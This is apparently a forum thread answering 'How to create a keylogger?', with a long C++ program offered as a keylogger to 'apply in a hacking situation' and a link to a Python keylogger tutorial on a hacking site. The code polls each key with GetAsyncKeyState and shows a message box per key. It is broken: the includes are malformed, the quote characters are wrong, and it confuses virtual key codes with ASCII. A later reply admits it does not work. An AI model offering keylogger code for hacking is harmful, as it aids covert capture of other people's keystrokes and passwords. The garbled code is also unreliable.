How to create a keylogger?
Well heres a very simple keylogger of sorts in C++, dunno if u code or not but see if you can understand it then, you just need to find a way to apply it in a hacking situation.
Sry its a bit long
```#include <stdio.h>
include <stdlib.h>
include <windows.h>
include
include
include
include
include
include
include
int main() {
int run = 1;
while(run != 0) {
if(GetAsyncKeyState(0x0)) {
MessageBox(NULL, “You pressed ”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x1)) {
MessageBox(NULL, “You pressed ?”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x2)) {
MessageBox(NULL, “You pressed ?”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x3)) {
MessageBox(NULL, “You pressed ?”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x4)) {
MessageBox(NULL, “You pressed ?”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x5)) {
MessageBox(NULL, “You pressed ?”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x6)) {
MessageBox(NULL, “You pressed ?”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x7)) {
MessageBox(NULL, “You pressed ”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x8)) {
MessageBox(NULL, “You pressed”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x9)) {
MessageBox(NULL, “You pressed ”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0xA)) {
MessageBox(NULL, “You pressed return”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0xB)) {
MessageBox(NULL, “You pressed ?”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0xC)) {
MessageBox(NULL, “You pressed ?”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0xD)) {
MessageBox(NULL, “You pressed ?”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0xE)) {
MessageBox(NULL, “You pressed ?”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0xF)) {
MessageBox(NULL, “You pressed ”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x10)) {
MessageBox(NULL, “You pressed ?”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x11)) {
MessageBox(NULL, “You pressed ?”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x12)) {
MessageBox(NULL, “You pressed ?”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x13)) {
MessageBox(NULL, “You pressed ?”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x14)) {
MessageBox(NULL, “You pressed ”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x15)) {
MessageBox(NULL, “You pressed ”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x16)) {
MessageBox(NULL, “You pressed ?”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x17)) {
MessageBox(NULL, “You pressed ?”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x18)) {
MessageBox(NULL, “You pressed ?”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x19)) {
MessageBox(NULL, “You pressed ?”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x1A)) {
MessageBox(NULL, “You pressed ?”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x1B)) {
MessageBox(NULL, “You pressed ?”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x1C)) {
MessageBox(NULL, “You pressed ?”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x1D)) {
MessageBox(NULL, “You pressed ?”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x1E)) {
MessageBox(NULL, “You pressed ?”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x1F)) {
MessageBox(NULL, “You pressed ?”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x20)) {
MessageBox(NULL, “You pressed ”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x21)) {
MessageBox(NULL, “You pressed !”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x22)) {
MessageBox(NULL, “You pressed \”“, "KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x23)) {
MessageBox(NULL, “You pressed #”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x24)) {
MessageBox(NULL, “You pressed $”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x25)) {
MessageBox(NULL, “You pressed %”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x26)) {
MessageBox(NULL, “You pressed &”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x27)) {
MessageBox(NULL, “You pressed ‘”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x28)) {
MessageBox(NULL, “You pressed (”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x29)) {
MessageBox(NULL, “You pressed )”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x2A)) {
MessageBox(NULL, “You pressed *”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x2B)) {
MessageBox(NULL, “You pressed +”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x2C)) {
MessageBox(NULL, “You pressed ,”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x2D)) {
MessageBox(NULL, “You pressed -”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x2E)) {
MessageBox(NULL, “You pressed .”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x2F)) {
MessageBox(NULL, “You pressed /”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x30)) {
MessageBox(NULL, “You pressed 0”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x31)) {
MessageBox(NULL, “You pressed 1”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x32)) {
MessageBox(NULL, “You pressed 2”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x33)) {
MessageBox(NULL, “You pressed 3”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x34)) {
MessageBox(NULL, “You pressed 4”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x35)) {
MessageBox(NULL, “You pressed 5”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x36)) {
MessageBox(NULL, “You pressed 6”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x37)) {
MessageBox(NULL, “You pressed 7”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x38)) {
MessageBox(NULL, “You pressed 8”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x39)) {
MessageBox(NULL, “You pressed 9”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x3A)) {
MessageBox(NULL, “You pressed :”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x3B)) {
MessageBox(NULL, “You pressed ;”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x3C)) {
MessageBox(NULL, “You pressed <”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x3D)) {
MessageBox(NULL, “You pressed =”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x3E)) {
MessageBox(NULL, “You pressed >”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x3F)) {
MessageBox(NULL, “You pressed ?”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x40)) {
MessageBox(NULL, “You pressed @”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x41)) {
MessageBox(NULL, “You pressed A”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x42)) {
MessageBox(NULL, “You pressed B”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x43)) {
MessageBox(NULL, “You pressed C”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x44)) {
MessageBox(NULL, “You pressed D”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x45)) {
MessageBox(NULL, “You pressed E”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x46)) {
MessageBox(NULL, “You pressed F”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x47)) {
MessageBox(NULL, “You pressed G”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x48)) {
MessageBox(NULL, “You pressed H”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x49)) {
MessageBox(NULL, “You pressed I”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x4A)) {
MessageBox(NULL, “You pressed J”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x4B)) {
MessageBox(NULL, “You pressed K”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x4C)) {
MessageBox(NULL, “You pressed L”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x4D)) {
MessageBox(NULL, “You pressed M”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x4E)) {
MessageBox(NULL, “You pressed N”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x4F)) {
MessageBox(NULL, “You pressed O”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x50)) {
MessageBox(NULL, “You pressed P”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x51)) {
MessageBox(NULL, “You pressed Q”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x52)) {
MessageBox(NULL, “You pressed R”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x53)) {
MessageBox(NULL, “You pressed S”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x54)) {
MessageBox(NULL, “You pressed T”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x55)) {
MessageBox(NULL, “You pressed U”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x56)) {
MessageBox(NULL, “You pressed V”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x57)) {
MessageBox(NULL, “You pressed W”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x58)) {
MessageBox(NULL, “You pressed X”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x59)) {
MessageBox(NULL, “You pressed Y”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x5A)) {
MessageBox(NULL, “You pressed Z”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x5B)) {
MessageBox(NULL, “You pressed [”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x5C)) {
MessageBox(NULL, “You pressed \”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x5D)) {
MessageBox(NULL, “You pressed ]”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x5E)) {
MessageBox(NULL, “You pressed ^”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x5F)) {
MessageBox(NULL, “You pressed _”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x60)) {
MessageBox(NULL, “You pressed `”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x61)) {
MessageBox(NULL, “You pressed a”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x62)) {
MessageBox(NULL, “You pressed b”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x63)) {
MessageBox(NULL, “You pressed c”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x64)) {
MessageBox(NULL, “You pressed d”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x65)) {
MessageBox(NULL, “You pressed e”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x66)) {
MessageBox(NULL, “You pressed f”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x67)) {
MessageBox(NULL, “You pressed g”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x68)) {
MessageBox(NULL, “You pressed h”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x69)) {
MessageBox(NULL, “You pressed i”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x6A)) {
MessageBox(NULL, “You pressed j”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x6B)) {
MessageBox(NULL, “You pressed k”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x6C)) {
MessageBox(NULL, “You pressed l”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x6D)) {
MessageBox(NULL, “You pressed m”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x6E)) {
MessageBox(NULL, “You pressed n”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x6F)) {
MessageBox(NULL, “You pressed o”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x70)) {
MessageBox(NULL, “You pressed p”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x71)) {
MessageBox(NULL, “You pressed q”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x72)) {
MessageBox(NULL, “You pressed r”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x73)) {
MessageBox(NULL, “You pressed s”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x74)) {
MessageBox(NULL, “You pressed t”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x75)) {
MessageBox(NULL, “You pressed u”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x76)) {
MessageBox(NULL, “You pressed v”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x77)) {
MessageBox(NULL, “You pressed w”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x78)) {
MessageBox(NULL, “You pressed x”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x79)) {
MessageBox(NULL, “You pressed y”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x7A)) {
MessageBox(NULL, “You pressed z”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x7B)) {
MessageBox(NULL, “You pressed {”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x7C)) {
MessageBox(NULL, “You pressed |”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x7D)) {
MessageBox(NULL, “You pressed }”, “KEYLOGGER”, MB_OK);
} if(GetAsyncKeyState(0x7E)) {
MessageBox(NULL, “You pressed ~”, “KEYLOGGER”, MB_OK);
}
Sleep(500);
}
return 0;
}```
Oh sry dunno why it dont work, how are you running it, i use CodeLight , as for python sry cant help u there, but maybe this helps http://hackspc.com/how-to-make-a-python-keylogger/